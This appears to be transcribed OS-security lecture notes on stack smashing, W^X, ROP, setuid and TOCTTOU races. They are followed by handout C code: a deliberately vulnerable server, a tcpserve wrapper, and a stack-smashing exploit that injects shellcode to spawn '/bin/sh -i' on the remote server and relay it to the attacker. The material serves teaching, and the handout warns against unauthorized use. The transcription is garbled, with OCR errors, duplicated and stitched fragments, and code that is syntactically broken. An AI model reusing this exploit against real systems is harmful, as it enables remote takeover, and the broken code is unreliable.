Lost class

- Stack Smashing

%rip

WRITE ENOUGH DATA TO
REWITE RET ADDR

Important question: What value to use for RET ADDR

Goal: Jump to code the Attacker controls

In demo, code that launches /bin/sh

How? Write attack code to BUF.

Gives us our first defense

- W^x (read W on X)

- Reminder: Can mark pages read only
- W^x pages containing code cannot be modified

PTEs include a NX bit

\[ \Rightarrow \text{No execute} \]

OS responsible for ensuring NX bit is set on writable pages.

- Defeating W^x - ROP

Return oriented programming

A large enough program contains most interesting code sequences
- Defenses: ASLR, CFI, ...

Arms Race B/w Hackers & Security

- Unix Security

```plaintext
User: apanda  uid → 4136
Groups: net/grp  gid → 11073
  csf/ct  gid → 12004
```

inode

```plaintext
uid  gid
Permissions
```

```
R W X  R W X  R W X
USER  GRP  ALL
```

- Write enough data to rewrite return address.
PCB (Process Control Block)

Open

```
/etc/passwd
```

Problem:

```
[old] Want to change default shell
Write to /etc/passwd

Want to change password
Write to /etc/passwd
```
How? Set uid

`/usr/bin/passwd` →

```
  uid 0
  gid 0
  Permissions
```

![Permissions](image)

Run file using owner's permission.

**This Is DANGEROUS**

PCB (Process Control Block)

```
  stolen
  core
```

```
  uid
  gid
```

```
  uid
  gid
```

`setuid(2)`: Set effective user ID dropping privileges
Tocttom o Time Of Check To Time Of Use

Consider a Setuid Program

- Check user who ran program has access to file

  access(2):
  access(filename, R-OK | W-OK)

Check user can read & write from file

  not tmp/out -> to zy

- Open file for reading

  open(filename, ...)

- Read & print.

What can go wrong?
How to avoid?

A: With great difficulty; few if any tools address this problem.

- File system transactions: Windows

- Be careful...
1. Introduction to buffer overflow attacks

There are many ways to attack computers. Today we study the "classic" method. This method has been adapted to many different types of attacks, but the concepts are similar.

We study this attack not to teach you all to become hackers but rather to educate you about vulnerabilities: what they are, how they work, and how to defend against them. Please remember: although the approaches used to break into computers are very interesting, breaking in to a computer that you do not own is, in most cases, a criminal act.

2. Let's examine a vulnerable server, buggy-server.c

3. Now let's examine how an unscrupulous element (a hacker, a script kiddie, a worm, and so on) might exploit the server.

Thanks to Russ Cox for the original version of the code, targeting Linux’s 32-bit x86.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

enum {
    offset = 120
};

void serve(void)
{
    int n;
    char buf[96];
    char* rbp;

    memset(buf, 0, sizeof buf);

    /* Server obligingly tells client where in memory 'buf' is located. */
    fprintf(stdout, "the address of the buffer is \%p\n", (void*)buf);

    /* This next line actually gets stdout to the client */
    fflush(stdout);

    /* Read in the length from the client; store the length in 'n' */
    fread(&n, 1, sizeof n, stdin);

    /* The return address lives directly above where the frame pointer, rbp, is pointing. This area of memory is 'offset' bytes past the start of 'buf', as we learn by examining a disassembly of buggy-server. Below we illustrate that rbp+8 and buf+offset are holding the same data. To print out the return address, we use buf[0x10]. */
    asm volatile("movq %r12, %0" : "=r" (rbp));
    assert(*((long int*)(rbp+8)) == *((long int*)(buf + offset)));

    /* Now read in n bytes from the client. */
    fread(buf, 1, n, stdin);

    fprintf(stdout, "My return address is now: \%lx\n", *((long int*)(buf + offset)));
    fflush(stdout);
}
```
This server is very simple so just tells the client whatever the client gave the server. A real server would process buf somehow.

fprintf(stdout, "you gave me: %s
", buf);
fflush(stdout);
}

int
main(void)
{
   serve();
   return 0;
}

dial(uint32_t, uint16_t);

int
main(int argc, char ** argv)
{
   char buf[400];
   int n, fd;
   long int addr;
   uint32_t server_ip_addr; uint16_t server_port;
   char * msg;

   if (argc != 3) {
      fprintf(stderr, "usage: %s ip_addr port
", argv[0]);
      exit(1);
   }

   server_ip_addr = inet_addr(argv[1]);
   server_port    = htons(atoi(argv[2]));

   if ((fd = dial(server_ip_addr, server_port)) < 0) {
      fprintf(stderr, "dial: %s
", strerror(errno));
      exit(1);
   }

   if ( (n = read(fd, buf, sizeof buf−1)) < 0) {
      fprintf(stderr, "socket read: %s
", strerror(errno));
      exit(1);
   }
   buf[n] = 0;
   if(strncmp(buf, "the address of the buffer is *") != 0){
      fprintf(stderr, "bad message: %s
", buf);
      exit(1);
   }

   addr = strtoull(buf+29, 0, 0);
   fprintf(stderr, "remote buffer is %lx
", addr);
   if(argc != 3) {
      if ( (n = read(fd, buf, sizeof buf−1)) < 0) {
         fprintf(stderr, "socket read: %s
", strerror(errno));
         exit(1);
      }
   }
   msg = "hello, exploitable server."
   n = strlen(msg);
   write(fd, &n, sizeof n);
   write(fd, msg, n);
   while((n = read(fd, buf, sizeof buf)) > 0)
      write(1, buf, n);
   return 0;
}

int
dial(uint32_t dest_ip, uint16_t dest_port) {
   int fd;
   struct sockaddr_in sin;

   fd = socket(AF_INET, SOCK_STREAM, 0);
   if(fd < 0)
      return −1;
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;

/* This function contains boilerplate code for setting up a TCP server. It's called "announce" because, if a network does not filter ICMP messages, it is clear whether or not some service is listening on the given port. */

int announce(int port)
{
    int fd, n;
    struct sockaddr_in sin;
    memset(&sin, 0, sizeof(sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket");
        return -1;
    }

    n = 1;
    if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0){
        perror("reuseaddr");
        close(fd);
        return -1;
    }

    if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
        perror("bind");
        close(fd);
        return -1;
    }

    if(listen(fd, 10) < 0){
        perror("listen");
    }

    /* begin a TCP connection to the server */
    if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
        return -1;

    return fd;
}
```
close(fd);
return -1;
}

return fd;

int startprog(int fd)
{
    /* Here is where the replacement of the usual stdin and stdout
    * happen. The next three lines say, "Ignore whatever value we used to
    * have for stdin, stdout, and stderr, and replace those three with
    * the network connection."
    */
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
if(fd > 2)
close(fd);

    /* Now run 'prog' */
    execvp(execargs[0], execargs);

    /* If the exec was successful, tcpserve will not make it to this
    * line. */
    printf("exec %s: %s
", execargs[0], strerror(errno));
    fflush(stdout);
    exit(0);
}

int main(int argc, char **argv)
{
    int afd, fd, port;
    struct sockaddr_in sin;
    struct sigaction sa;
    socklen_t sn;

    if(argc < 3 || argv[1][0] == '-') {
        Usage:
        fprintf(stderr, "usage: tcpserve port prog [args...]
");
        return 1;
    }

    port = atoi(argv[1]);
    if(port == 0)
        goto Usage;
    execargs = argv+2;
    sa.sa_handler = SIG_IGN;
    sa.sa_flags = SA_NOCLDSTOP|SA_NOCLODWAIT;
    sigaction(SIGCHLD, &sa, 0);
    if((afd = announce(port)) < 0)
        return 1;
    sn = sizeof sin;
    while((fd = accept(afd, (struct sockaddr*)&sin, &sn)) >= 0) {
        /* At this point, 'fd' is the file descriptor that
        * corresponds to the new TCP connection. The next
        * line forks off a child process to handle this TCP
        * connection. That child process will eventually become
        * 'prog'. */
        switch(fork()){
        case -1:  
            fprintf(stderr, "fork: %s
", strerror(errno));
            close(fd);
            break;
        case 0:  
            /* this case is executed by the child process */
            startprog(fd);
            _exit(1);
        }  
        close(fd);
        return 0;
    }
Author: Russ Cox, rsc@swtch.com

Comments and modifications by Michael Walfish, 2006-2015

Ported to x86-64 by Michael Walfish, 2019

This program exploits the server buggy-server.c. It works by taking advantage of the facts that (1) the server has told the client (that is, us) the address of its buffer and (2) the server is sloppy and does not check the length of the message to see whether the message can fit in the buffer.

The exploit sends enough data to overwrite the return address in the server’s current stack frame. That return address will be overwritten to point to the very buffer we are supplying to the server, and that very buffer contains machine instructions! The particular machine instructions cause the server to exec a shell, which means that the server process will be replaced by a shell, and the exploit will thus have "broken into" the server.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>

int main(int argc, char** argv)
{
    if (argc != 3) {
        fprintf(stderr, "usage: exploit ip_addr port\n");
        exit(1);
    }
    n = read(fd, helpfulinfo, sizeof helpfulinfo);
    if (n < 0) {
        fprintf(stderr, "socket read: %s\n", strerror(errno));
        exit(1);
    }
    /* this line reads the line from the server wherein the server * tells the client where its stack is located. (thank you, * server!) */
    n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
    if (n != 0) {
        fprintf(stderr, "* null-terminate our copy of the helpful information */
    helpfulinfo[n] = 0;
    /* check to make sure that the server gave us the helpful * information we were expecting. */
    if (strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0) {
        fprintf(stderr, "* bad message: %s\n", strerror(errno));
        exit(1);
    }
    addr = strtoull(helpfulinfo+29, 0, 0);
    fprintf(stderr, "remote buffer is at address %lx\n", addr);
    /* 0; INCOMPLETE. will be address of string "/bin/sh" */
    if (addr != 0) {
        fprintf(stderr, "* 0; INCOMPLETE. will be address of string "/bin/sh" */
    }
    /* 0; INCOMPLETE. will be address of string "/i" */
    if (addr != 0) {
        fprintf(stderr, "* 0; INCOMPLETE. will be address of string "/i" */
    }
    /* 0 */
    if (addr != 0) {
        fprintf(stderr, "* 0 */
    }
    /* end shellcode */
    /* offsets into assembly */
    MovRdi = 9, /* constant moved into rdi */
    MovRsi = 19, /* ... into rsi */
    MovRdx = 29, /* ... into rdx */
    Arg0 = 39, /* string arg0 ("/bin/sh") */
    Arg2 = 67, /* string arg1 ("-i") */
    Arg0Ptr = 50, /* ptr to arg0 (=argv[0]) */
    Arg2Ptr = 56, /* ptr to arg1 (=argv[1]) */
    Arg2Ptr = 66, /* zero (=argv[2]) */
}
/* The second argument is a pointer to the argv array (which is
* itself an array of pointers) that the shell will be passed.
* This array is currently not filled in, but we can still put a
* pointer to the array in the shellcode. */

*(long int*)(msg + MovRdi) = addr + Arg0;

/* The third argument is the address of a location that holds 0 */
*(long int*)(msg + MovRsi) = addr + Arg0Ptr;

*(long int*)(msg + MovRdx) = addr + Arg2Ptr;

/* The array of addresses mentioned above are the arguments that
* /bin/sh should begin with. In our case, /bin/sh only begins
* with its own name and "-i", which means "interactive". These
* lines load the 'argv' array.
*/

*(long int*)(msg + Arg0Ptr) = addr + Arg0;
*(long int*)(msg + Arg1Ptr) = addr + Arg1;

/* This line is one of the keys -- it places NCOPIES different copies
* of our desired return address, which is the start of the message
* in the server's address space. We use multiple copies in the hope
* that one of them overwrites the return address on the stack. We
* could have used more copies or fewer.
*/

for(i=0; i<NCOPIES; i++)
  *(long int*)(msg + REMOTE_BUF_LEN + i*8) = addr;

n = REMOTE_BUF_LEN + NCOPIES*8;
/* Tell the server how long our message is. */
write(fd, &n, 4);
/* And now send the message, thereby smashing the server's stack.*/
write(fd, msg, n);

/* These next lines:
* (1) read from the client's stdin, and write to the network
* connection (which should now have a shell on the other
* end);
* (2) read from the network connection, and write to the
* client's stdout.
* In other words, these lines take care of the I/O for the
* shell that is running on the server. In this way, we on the
* client can control the shell that is running on the server. */

switch(fork()){
  case 0:
    while((n = read(0, msg, sizeof msg)) > 0)
      write(fd, msg, n);
    fprintf(stderr, "eof from local
        ");
    break;
  default:
    while((n = read(fd, msg, sizeof msg)) > 0)
      write(1, msg, n);
    fprintf(stderr, "eof from remote\n        ");
    break;
}
return 0;

/* boilerplate networking code for initiating a TCP connection */
int
dial(uint32_t dest_ip, uint16_t dest_port)
{
  int fd;
  struct sockaddr_in sin;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;